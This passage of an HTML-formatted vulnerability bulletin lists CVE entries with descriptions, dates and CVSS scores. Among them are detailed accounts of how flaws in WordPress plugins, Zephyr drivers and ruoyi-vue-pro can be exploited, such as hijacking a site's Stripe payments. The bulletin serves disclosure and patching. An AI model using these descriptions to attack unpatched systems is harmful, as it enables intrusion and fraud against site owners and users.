&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86601&quot; target=&quot;_blank&quot;&gt;CVE-2026-86601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP User Manager--WP User Manager&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in WP User Manager &amp;lt;= 2.9.19 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94079&quot; target=&quot;_blank&quot;&gt;CVE-2026-94079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp-graphql--wp-graphql&lt;/td&gt;
&lt;td&gt;WPGraphQL provides a GraphQL API for WordPress sites. Prior to 2.22.2, the updatePost mutation in src/Mutation/PostObjectUpdate.php checks only the collection-level edit_posts capability and the post author, but does not enforce the object-level edit_post capability or require publish_posts for public status transitions. An authenticated Contributor can therefore publish the Contributor&#039;s own draft without editorial approval or modify the Contributor&#039;s previously published post despite lacking edit_published_posts, while posts owned by other authors remain protected. This issue is fixed in version 2.22.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88974&quot; target=&quot;_blank&quot;&gt;CVE-2026-88974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdevelop--Booking Calendar&lt;/td&gt;
&lt;td&gt;The Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;wpbc_auto_fill&#039; parameter in all versions up to, and including, 11.8.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93655&quot; target=&quot;_blank&quot;&gt;CVE-2026-93655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPManageNinja--Fluent Support&lt;/td&gt;
&lt;td&gt;Subscriber Broken Access Control in Fluent Support &amp;lt;= 2.3.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94679&quot; target=&quot;_blank&quot;&gt;CVE-2026-94679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpusermanager--WP User Manager User Profile Builder &amp;amp; Membership&lt;/td&gt;
&lt;td&gt;The WP User Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Connect::complete() function in versions up to, and including, 2.9.18. The function is registered on the admin_init hook (which fires for every authenticated user that reaches /wp-admin/, including Subscribers) and performs no current_user_can() or nonce verification before fetching Stripe credentials from the external WPUM connect service and writing them (publishable key, secret key, gateway mode, and connected Stripe account ID) into the wpum_settings option via wpum_update_option()/update_option(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to hijack the site&#039;s Stripe integration by completing their own Stripe Connect OAuth flow and then invoking the callback on the target site, causing all subsequent Stripe payments to be routed to the attacker&#039;s Stripe account.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18345&quot; target=&quot;_blank&quot;&gt;CVE-2026-18345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo contains a stored cross-site scripting vulnerability in the video trailer1 field rendered unsanitized within an inline onclick JavaScript string. Attackers with video upload permission can store HTML entity-encoded payloads that bypass isValidURL() validation and are decoded by the browser to break out of the JavaScript string, executing arbitrary code in any visitor&#039;s session including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100630&quot; target=&quot;_blank&quot;&gt;CVE-2026-100630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;X.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XQueryDeviceState() in libXi before 1.8.4 could be used by a&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93541&quot; target=&quot;_blank&quot;&gt;CVE-2026-93541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XI2 class parsing via size_classes() and copy_classes() in libXi before 1.8.4 could be used by malicous servers to crash the X client.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93542&quot; target=&quot;_blank&quot;&gt;CVE-2026-93542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XI2 XIQueryDevice reply parsing in libXi before 1.8.4 can be used by a malicious X server to crash an attached X client.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93544&quot; target=&quot;_blank&quot;&gt;CVE-2026-93544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XListInputDevices() in libXi before 1.8.4 could be used by malicious X servers to crash an attached X client.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93545&quot; target=&quot;_blank&quot;&gt;CVE-2026-93545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XListInputDevices() class parsing in libXi before 1.8.4 could be used by malicious X servers to crash an attached X client.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94281&quot; target=&quot;_blank&quot;&gt;CVE-2026-94281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YITH--YITH WooCommerce Request A Quote&lt;/td&gt;
&lt;td&gt;Authorization Bypass Through User-Controlled Key vulnerability in YITH YITH WooCommerce Request A Quote allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects YITH WooCommerce Request A Quote: from n/a before 4.46.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95602&quot; target=&quot;_blank&quot;&gt;CVE-2026-95602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yonyou--U8cloud&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Yonyou U8cloud 5.x. This vulnerability affects unknown code of the file /u8cloud/openapi/so.saleorder.sendaudit of the component OpenAPI. The manipulation of the argument operator leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94492&quot; target=&quot;_blank&quot;&gt;CVE-2026-94492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A flaw has been found in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. The affected element is the function AiKnowledgeDocumentServiceImpl.readUrl of the file AiKnowledgeDocumentServiceImpl.java of the component AI Knowledge Module. This manipulation of the argument url causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97320&quot; target=&quot;_blank&quot;&gt;CVE-2026-97320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. The impacted element is the function GoViewDataServiceImpl.getDataBySQL of the file yudao-module-report/src/main/java/cn/iocoder/yudao/module/report/service/goview/GoViewDataServiceImpl.java of the component GoView Data Endpoint. Such manipulation of the argument sql leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97321&quot; target=&quot;_blank&quot;&gt;CVE-2026-97321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. This impacts the function getOriginalFilename of the file yudao-module-mp/src/main/java/cn/iocoder/yudao/module/mp/service/material/MpMaterialServiceImpl.java of the component File Upload. Executing a manipulation can lead to path traversal. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97323&quot; target=&quot;_blank&quot;&gt;CVE-2026-97323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A vulnerability was found in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. This affects an unknown function of the file yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java of the component File Upload. Performing a manipulation results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97322&quot; target=&quot;_blank&quot;&gt;CVE-2026-97322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. Affected by this vulnerability is the function validOAuthClientFromCache of the file yudao-module-system/src/main/java/cn/iocoder/yudao/module/system/service/oauth2/OAuth2ClientServiceImpl.java of the component OAuth2 Client. The manipulation of the argument redirect_uri results in open redirect. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97325&quot; target=&quot;_blank&quot;&gt;CVE-2026-97325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yzcheng90--X-SpringBoot&lt;/td&gt;
&lt;td&gt;X-SpringBoot through 6.0 exposes appKey and appSecret credentials in the GET /application/manager/select endpoint without authentication or field filtering. Unauthenticated attackers can retrieve these credentials and use them to send arbitrary SMS messages through any tenant&#039;s SMS provider, enabling SMS bombing and impersonation attacks.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100192&quot; target=&quot;_blank&quot;&gt;CVE-2026-100192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Intel SEDI IPM (inter-processor mailbox) driver in drivers/ipm/ipm_sedi.c handles an inbound message interrupt in ipm_event_dispose(). It read the peer-written doorbell register, extracted the payload length with IPC_HEADER_GET_LENGTH(), and passed that length straight to sedi_ipc_read_msg() to copy the message into struct ipm_sedi_context.incoming_data_buf, without checking it against the buffer size. The doorbell length field is 10 bits wide (IPC_HEADER_LENGTH_MASK is 0x03FF), so it can encode up to 1023 bytes, while incoming_data_buf is IPC_DATA_LEN_MAX (128) bytes. The bounds check in the underlying HAL sedi_ipc_read_msg() is a DBG_CHECK that compiles away unless CONFIG_DEBUG is set, so no check remained in a production image. The doorbell register is written by the peer processor on the other side of the IPC link - for the intel_ish_5_* targets, the host CPU&#039;s ISH driver, reached through the device&#039;s memory-mapped register window. Host-side software with driver-level or raw BAR access can therefore set a length of up to 1023 and cause the interrupt handler to copy far past the destination buffer. The affected path requires an application to have registered an IPM receive callback via ipm_register_callback(), which is the driver&#039;s normal mode of use. The result is an out-of-bounds write of up to 895 bytes into static (.bss) memory, performed in interrupt context. The overflow first clobbers the rest of struct ipm_sedi_context - including the k_sem and k_mutex used by the transmit path, whose wait queues contain self-referential list pointers - and then adjacent static data, giving a kernel data-structure corruption and crash primitive. The overflowing bytes are read from registers following the message window, a portion of which are themselves peer-programmable. The fix rejects any doorbell whose encoded length exceeds IPC_DATA_LEN_MAX, logging it and acknowledging the doorbell so the peer is not left waiting.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17051&quot; target=&quot;_blank&quot;&gt;CVE-2026-17051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The default AEAD nonce provider for the PSA Internal Trusted Storage transform module, secure_storage_its_transform_aead_get_nonce() in subsys/secure_storage/src/its/transform/aead_get.c, stores its nonce counter in unsynchronized function-local static variables (s_nonce and s_nonce_initialized). Every ITS write obtains its AES-GCM or ChaCha20-Poly1305 nonce here via secure_storage_its_transform_to_store(). Because the function held no lock, two threads calling it concurrently race on the shared statics: the initialization path (psa_generate_random() followed by memcpy()) and the non-atomic increment-then-copy path can each hand the same nonce value to two distinct encryption operations, and can lose increments so the counter repeats values it was designed never to repeat. The ITS layer (secure_storage_its_set() in subsys/secure_storage/src/its/implementation.c) performs no serialization of its own, so concurrent same-UID writes reach the racy provider directly. Reusing a nonce with the same key under AES-GCM or ChaCha20-Poly1305 is a catastrophic AEAD failure: it leaks the XOR of the two plaintexts (ITS routinely stores secrets, including PSA persistent keys) and, for GCM, exposes the authentication key, enabling forgery of stored entries. Because the AEAD key is derived per entry UID, the security-relevant collision is two concurrent writes to the same UID both receiving the same nonce; an adversary able to read the raw backing storage can then exploit the reuse. Both ITS store back-ends shipped with Zephyr, zms.c and the settings/NVS back-end in settings.c, are log-structured flash stores with deferred garbage collection, so an entry superseded by a rewrite remains physically present in the partition until its sector is reclaimed. Two same-UID writes that race therefore leave both ciphertexts readable in the raw image at once, which is the condition the nonce reuse needs to be exploitable. The trigger remains narrow: both built-in key providers (DEVICE_ID_HASH and ENTRY_UID_HASH) salt the derived key with the entry UID, so reuse across different UIDs is harmless, and the exposure requires an application that writes the same UID concurrently from two threads. The fix serializes the provider with a K_MUTEX_DEFINE(s_nonce_mutex) held for the duration of nonce generation.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15890&quot; target=&quot;_blank&quot;&gt;CVE-2026-15890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The experimental USB host stack allocates a per-device configuration-descriptor buffer, udev-&amp;gt;cfg_desc, from the dedicated usb_device_heap in usbh_device_set_configuration() (subsys/usb/host/usbh_device.c). On three failure paths - a failed full-length GET_DESCRIPTOR(CONFIGURATION) read, a mismatch between the short and full descriptor reads, and a rejected descriptor in parse_configuration_descriptor() - the buffer was released with k_heap_free() but the pointer was left dangling. The cleanup in usbh_device_free() is guarded only by if (udev-&amp;gt;cfg_desc != NULL), so it frees the same block a second time. The path is driven entirely by the attached peripheral: usbh_device_connect() calls usbh_device_init(), which ends in usbh_device_set_configuration(), and on failure usbh_device_connect() calls usbh_device_free(). On v4.4.x this happens during the same enumeration, with no unplug required; on v4.1.0-v4.3.x the second free instead arrives via dev_removed_handler()/dev_connected_handler() in subsys/usb/host/usbh_core.c, so it requires a removal or duplicate-connect event after the failed enumeration - a sequence the attached device fully controls. A malicious or malformed USB device only has to answer the first 9-byte configuration-descriptor request with a well-formed header and then fail any of the three checks, for example by returning a full descriptor whose interface count disagrees with bNumInterfaces, or by answering the second read with different bytes. The result is a double free on usb_device_heap. On builds where lib/heap hardening is active (the current default CONFIG_SYS_HEAP_HARDENING_BASIC), sys_heap_free() detects the already-free chunk and calls k_panic(), giving a deterministic, peripheral-triggered denial of service of the USB host. On builds without that detection - earlier releases, or CONFIG_SYS_HEAP_HARDENING_NONE - the second free manipulates a chunk already on the free list, corrupting the heap&#039;s free list so that later allocations can return overlapping or invalid blocks. Exploitation beyond denial of service is bounded by the fact that usb_device_heap is a small dedicated heap (CONFIG_USBH_USB_DEVICE_HEAP, default 1024 bytes) whose only client is this descriptor buffer, and by CONFIG_USB_HOST_STACK being marked experimental and disabled by default. The fix sets udev-&amp;gt;cfg_desc = NULL after every k_heap_free(), making the cleanup guard sound.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17050&quot; target=&quot;_blank&quot;&gt;CVE-2026-17050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Espressif ESP-hosted Wi-Fi driver (drivers/wifi/esp_hosted/) parses frames received over SPI from the ESP co-processor in esp_hosted_event_task(). For control frames it took the 16-bit TLV field data_length straight off the wire and passed it to pb_istream_from_buffer(frame.data_value, frame.data_length) without checking it against the frame length or the receive buffer. frame.data_value sits 26 bytes into a 3188-byte stack object, so a data_length of up to 0xFFFF makes pb_decode() read up to roughly 62 KB past the end of that object. Only the first fragment of a fragmented control response carries a TLV header; the pre-fix driver performed half-duplex SPI transactions and silently discarded any frame the co-processor queued while the host was transmitting (esp_hosted_hal_spi_transfer() aliased the RX buffer onto the TX buffer). When the discarded frame is the first fragment of a fragmented response, the driver treats the next fragment as a new frame - its per-fragment header and checksum are genuine, so both validation steps pass - and reads the TLV header out of raw protobuf continuation bytes. Those bytes come from control responses whose size and content an adjacent, unauthenticated attacker can influence, notably the AP scan list, which grows with the number and SSID length of access points in radio range. The impact is denial of service rather than disclosure. Reading past the end of the RAM region faults the device, and CONFIG_NANOPB_ENABLE_MALLOC is selected by the driver, so garbage length prefixes read out of bounds also drive heap allocations. The out-of-bounds bytes themselves do not reach the application: pb_decode() is started mid-stream on raw protobuf continuation bytes and so almost always fails outright, and anything that did decode would still have to pass esp_hosted_response(), which requires an exact msg_id match against the pending request, and then esp_hosted_ctrl_response(), which requires a success resp - an attacker influences the size and content of legitimate control responses, not the structure decoded out of misaligned bytes. Two related defects in the same receive path make the denial of service permanent: the fragment reassembly guard was sized with ESP_FRAME_SIZE instead of ESP_FRAME_MAX_PAYLOAD and, when tripped, returned from the sole RX thread instead of dropping the frame, and unhandled control events were queued with k_msgq_put(..., K_FOREVER) on an eight-entry queue that nothing drains, blocking that same thread. The driver has no watchdog or restart path, so either condition ends all Wi-Fi reception until the device is rebooted.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17054&quot; target=&quot;_blank&quot;&gt;CVE-2026-17054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in zhistaredu StarTraining up to 3.8.1. Affected by this issue is the function SysUser.isAdmin of the file edu-common/src/main/java/com/edu/common/core/domain/entity/SysUser.java of the component authRole Endpoint. The manipulation of the argument userId/roleIds leads to authorization bypass. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100878&quot; target=&quot;_blank&quot;&gt;CVE-2026-100878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in zhistaredu StarTraining up to 3.8.1. The affected element is an unknown function of the file SecurityConfig.java of the component api-docs Endpoint. Performing a manipulation results in missing authentication. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97879&quot; target=&quot;_blank&quot;&gt;CVE-2026-97879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in zhistaredu StarTraining up to 3.8.1. This affects the function checkRoleAllowed of the file SysRoleServiceImpl.java of the component dataScope Endpoint. The manipulation results in missing authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100879&quot; target=&quot;_blank&quot;&gt;CVE-2026-100879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zhonglun--CloudPOS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Zhonglun CloudPOS 3.0. Affected by this vulnerability is an unknown functionality of the file Program.cs of the component Automatic Update. Executing a manipulation of the argument version/url/packagekey/package name can lead to channel accessible by non-endpoint. The attack can be launched remotely. Attacks of this nature are highly complex. The exploitation appears to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97866&quot; target=&quot;_blank&quot;&gt;CVE-2026-97866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine EventLog Analyzer&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine EventLog Analyzer and Log360 before build 13071 were vulnerable to a DoS vulnerability that allowed attackers to crash the log collector using malformed syslog packets.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92905&quot; target=&quot;_blank&quot;&gt;CVE-2026-92905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;low_v&quot;&gt;
&lt;h2 id=&quot;low_v_title&quot;&gt;Low Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Low Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alam00000--bentopdf&lt;/td&gt;
&lt;td&gt;BentoPDF is a client-side PDF toolkit that is self hostable. In 2.8.6 and earlier, deserializeWorkflow() accepts the Timestamp node&#039;s tsaUrl control from imported JSON without schema or destination validation. When a user imports the crafted workflow and runs it against a PDF, timestampPdf() sends an RFC 3161 TimeStampReq containing the PDF&#039;s SHA-256 MessageImprint to the attacker-selected endpoint. The default self-hosted configuration does not set VITE_CORS_PROXY_URL, so the request bypasses the proxy&#039;s ALLOWED_TSA_HOSTS checks and is sent directly. The disclosed digest can confirm that a document matches a known file and can correlate the same document across users without revealing its contents. This vulnerability is fixed in 2.8.7.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63630&quot; target=&quot;_blank&quot;&gt;CVE-2026-63630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;allauth--django-allauth&lt;/td&gt;
&lt;td&gt;django-allauth before 65.19.4 does not have the expected limits on failed login attempts because, in some common configurations, an attacker can leverage the handling of diacritics (e.g., accents) for a higher effective limit.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97764&quot; target=&quot;_blank&quot;&gt;CVE-2026-97764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ALSA Project--alsa-lib&lt;/td&gt;
